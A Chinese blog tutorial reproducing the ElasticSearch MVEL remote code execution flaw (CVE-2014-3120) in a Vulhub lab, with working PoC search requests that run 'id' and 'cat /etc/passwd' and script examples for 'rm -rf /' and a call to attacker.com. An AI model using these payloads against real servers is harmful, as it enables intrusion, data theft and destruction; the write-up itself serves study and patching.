ElasticSearch远程代码执行漏洞复现:原理详解+环境搭建+渗透实践(CVE-2014-3120) - 实践
2026-01-29 12:48 tlnshuju 阅读(0) 评论(0) 收藏 举报目录
一、ElasticSearch沙盒绕过漏洞(CVE-2015-1427)
1、确保系统已安装 Docker 和 Docker-Compose
本文分析了ElasticSearch远程代码执行漏洞(CVE-2014-3120),该漏洞影响1.2及之前版本,由于MVEL脚本引擎未沙盒化,攻击者可通过_search接口提交恶意脚本实现任意代码执行。文章详细介绍了漏洞原理,并利用Vulhub搭建复现环境,演示了从环境启动到漏洞利用的全过程,包括数据创建和执行系统命令(如id、cat /etc/passwd)等操作。最后提供了升级版本或禁用动态脚本的修复建议。
一、ElasticSearch沙盒绕过漏洞(CVE-2015-1427)
1、漏洞简介
ElasticSearch 远程代码执行漏洞(CVE-2014-3120)是 ElasticSearch 早期版本中因脚本引擎设计缺陷导致的严重安全问题。
| 项目 | 描述 |
|---|---|
| 漏洞名称 | ElasticSearch 远程代码执行漏洞 |
| CVE 编号 | CVE-2014-3120 |
| 漏洞类型 | 远程代码执行 (RCE) |
| 漏洞根源 | 默认配置下,动态脚本功能(MVEL脚本引擎) 被启用且没有安全限制。 |
| 技术原理 | 攻击者可直接在搜索请求中提交包含恶意MVEL表达式的脚本,该脚本会被服务器端直接执行,无需任何绕过。 |
| 主要危害 | 远程代码执行 (RCE) • 获取服务器权限 • 窃取或删除所有数据 • 作为内网渗透的跳板 |
| 影响版本 | Elasticsearch 1.2 及之前的所有版本 |
| 修复方案 | 1. 升级版本:升级至 1.2.x 之后的版本(官方发布了1.2.1修复)。 2. 临时缓解:在配置文件 elasticsearch.yml 中设置 script.disable_dynamic: true 以禁用动态脚本。 |
2、漏洞原理
(1)MVEL 脚本引擎的无沙盒特性
MVEL 是一种轻量级表达式语言,设计初衷是简化 Java 代码的动态执行。然而,在 ElasticSearch 早期版本中,MVEL 未被沙盒化,直接允许执行完整的 Java 代码逻辑。例如:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
(2)动态脚本功能的开放接口
ElasticSearch 提供_search等 API 接口,允许用户在查询中嵌入脚本。攻击者可通过script_fields参数(或source参数)向服务器提交恶意脚本。例如:
POST /_search?pretty HTTP/1.1
{
"size": 1,
"query": { "match_all": {} },
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
"size": 1: 指定只返回 1 条搜索结果。这是为了减少不必要的网络传输和数据处理,让返回结果更简洁,直接聚焦于命令执行的结果。"query": { "match_all": {} }: 查询部分,表示“匹配所有文档”。这是一个常见的查询,目的是让请求看起来正常,并确保至少有一条数据来触发后面script_fields的计算。"script_fields": { ... }: 这是漏洞利用的核心。这个字段允许在搜索结果中返回基于脚本计算出的自定义字段。import java.io.*;导入 Java I/O 相关的所有类(如InputStream),因为后面的代码需要用到。Runtime.getRuntime().exec("id"):这是最关键的一步。它调用 Java 的Runtime类来执行操作系统命令id。exec("id")方法会启动一个外部进程来运行id命令。这个方法返回一个Process对象。.getInputStream():从上面返回的Process对象中获取标准输出流(InputStream)。这个流里包含了命令id执行后输出的内容(即uid=0(root) gid=0(root) groups=0(root))。new java.util.Scanner(...):创建一个Scanner对象,用来方便地读取和解析上一步获取的输入流。.useDelimiter("\\A"):为 Scanner 设置一个分隔符。\\A是一个正则表达式,代表“输入的开始”。这是一个常用技巧,意味着 Scanner 会将整个输入流从开始到结束视为一个完整的字符串(即一个巨大的“令牌”),而不是按行或空格分割。.next():获取下一个令牌(Token)。由于上一步的分隔符是\\A,所以.next()方法会返回整个输入流的所有内容,也就是命令id的全部输出结果
"command": { ... }: 定义了一个名为command的自定义字段。攻击者可以任意命名这个字段,其结果将包含命令id的输出。"script": "...": 这里包含了要执行的恶意 MVEL 脚本代码。这段代码是标准的 Java 代码,因为 MVEL 可以直接执行它。
(3)未过滤的恶意代码执行
ElasticSearch 在 1.2 版本前未对脚本内容进行安全过滤,导致攻击者可直接调用java.lang.Runtime等危险类。例如:
- 直接执行命令:
Runtime.getRuntime().exec("rm -rf /") - 文件读取:
new java.io.File("/etc/passwd").getText() - 网络请求:
new java.net.URL("http://attacker.com").getContent()
这些操作完全绕过了 ElasticSearch 的安全边界,使攻击者能够控制服务器。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现ElasticSearch 漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
# 进入elasticsearch漏洞(CVE-2014-3120)的漏洞环境目录
cd elasticsearch
cd CVE-2014-3120

4、启动漏洞环境
在CVE-2014-3120目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含elasticsearch:1.1.1(受影响版本)的镜像。

5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器97e3491a4216属于 Vulhub 搭建的CVE-2014-3120漏洞复现环境(容器名均为CVE-2014-3120)。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
97e3491a4216 vulhub/elasticsearch:1.1.1 "/docker-entrypoint.…" 33 minutes ago Up 33 minutes 0.0.0.0:9200->9200/tcp, :::9200->9200/tcp, 0.0.0.0:9300->9300/tcp, :::9300->9300/tcp cve-2014-3120_es_1
如下运行结果表明Vulhub 启动的 CVE-2014-3120 漏洞环境已成功运行,ElasticSearch 1.1.1 服务通过宿主机的9200端口暴露。

CONTAINER ID(容器 ID):
97e3491a4216,容器的唯一标识符(短 ID),用于在 Docker 命令中指定该容器(如停止、删除容器时使用)。IMAGE(镜像):
vulhub/elasticsearch:1.1.1,启动该容器所使用的 Docker 镜像。这里使用的是 Vulhub 提供的elasticsearch镜像,版本为1.1.1(正是 CVE-2014-3120 漏洞影响的版本)。COMMAND(启动命令):
"/docker-entrypoint.…",容器启动时执行的命令,这里是 ElasticSearch 的入口脚本(docker-entrypoint.sh),用于初始化并启动 ElasticSearch 服务。CREATED(创建时间):
33 minutes ago,容器被创建的时间,距离当前时间 33 分钟。STATUS(状态):
Up 33 minutes,容器当前状态为 “运行中”,已持续运行 33 分钟。PORTS(端口映射):
0.0.0.0:9200->9200/tcp, :::9200->9200/tcp, 0.0.0.0:9300->9300/tcp, :::9300->9300/tcp容器内部端口与宿主机端口的映射关系:
- ElasticSearch 的 HTTP 服务端口
9200映射到宿主机的9200端口(支持 IPv4 和 IPv6)。 - ElasticSearch 节点间通信端口
9300映射到宿主机的9300端口。
这意味着你可以通过宿主机的9200端口访问容器内的 ElasticSearch 服务(如http://localhost:9200)。
- ElasticSearch 的 HTTP 服务端口
NAMES(容器名称):
cve-2014-3120_es_1,容器的名称(自动生成),由 Vulhub 的docker-compose.yml配置定义,便于识别该容器属于 CVE-2014-3120 漏洞环境的 ElasticSearch 服务。
三、渗透实战
1、访问环境
访问 启动bp,浏览器开启bp代理,访问http://192.168.59.128:9200即可进入ElasticSearch 渗透环境,如下所示。

burpsuite抓包如下所示,从响应报文可以看到ElasticSearch 返回的 JSON 信息,包含节点名称、版本号等,这证明服务正常运行,请注意"number" : "1.1.1",这正是存在漏洞的版本,它属于 CVE-2014-3120 的受影响范围,且默认配置(如动态 MVEL 脚本启用、无认证)未修改,可直接进入下一步漏洞利用(如插入测试数据、执行恶意脚本)。

2、创建一条数据
漏洞利用需要索引中存在数据才能触发搜索和脚本执行。 我们创建一个名为 mooyuan的索引,并插入一条数据。
POST /website/blog/ HTTP/1.1
Host: [目标机IP]:[端口号]
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "mooyuan"
}
以我的环境为例,IP地址为192.168.59.128,端口号为9200,访问网页。
POST /website/blog/ HTTP/1.1
Host: 192.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "mooyuan"
}
构造好报文后点击发送,如下所示响应报文返回201创建成功,如下图所示。
3、执行命令exec("id")
构造执行id的恶意命令,具体PoC如下所示,其中 [目标机IP]:[端口号]需要替换为ElasticSearch环境的ip地址和端口号 。
POST /_search?pretty HTTP/1.1
Host: [目标机IP]:[端口号]
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
poc发送成功后,目标服务器会响应200状态码,同时代码exec("id")得到成功执行。漏洞利用成功,在返回的JSON结果中看到 id 命令的执行结果。

4、执行命令exec("cat /etc/passwd")
构造cat /etc/passwd的恶意命令,只需要将原来的exec("id")改为exec("cat /etc/passwd"),具体PoC如下所示。
POST /_search?pretty HTTP/1.1
Host:192.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 369
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
poc发送成功后,目标服务器会响应200状态码,同时代码exec("cat /etc/passwd")得到成功执行。漏洞利用成功,在返回的JSON结果中看到cat /etc/passwd命令的执行结果。

浙公网安备 33010602011771号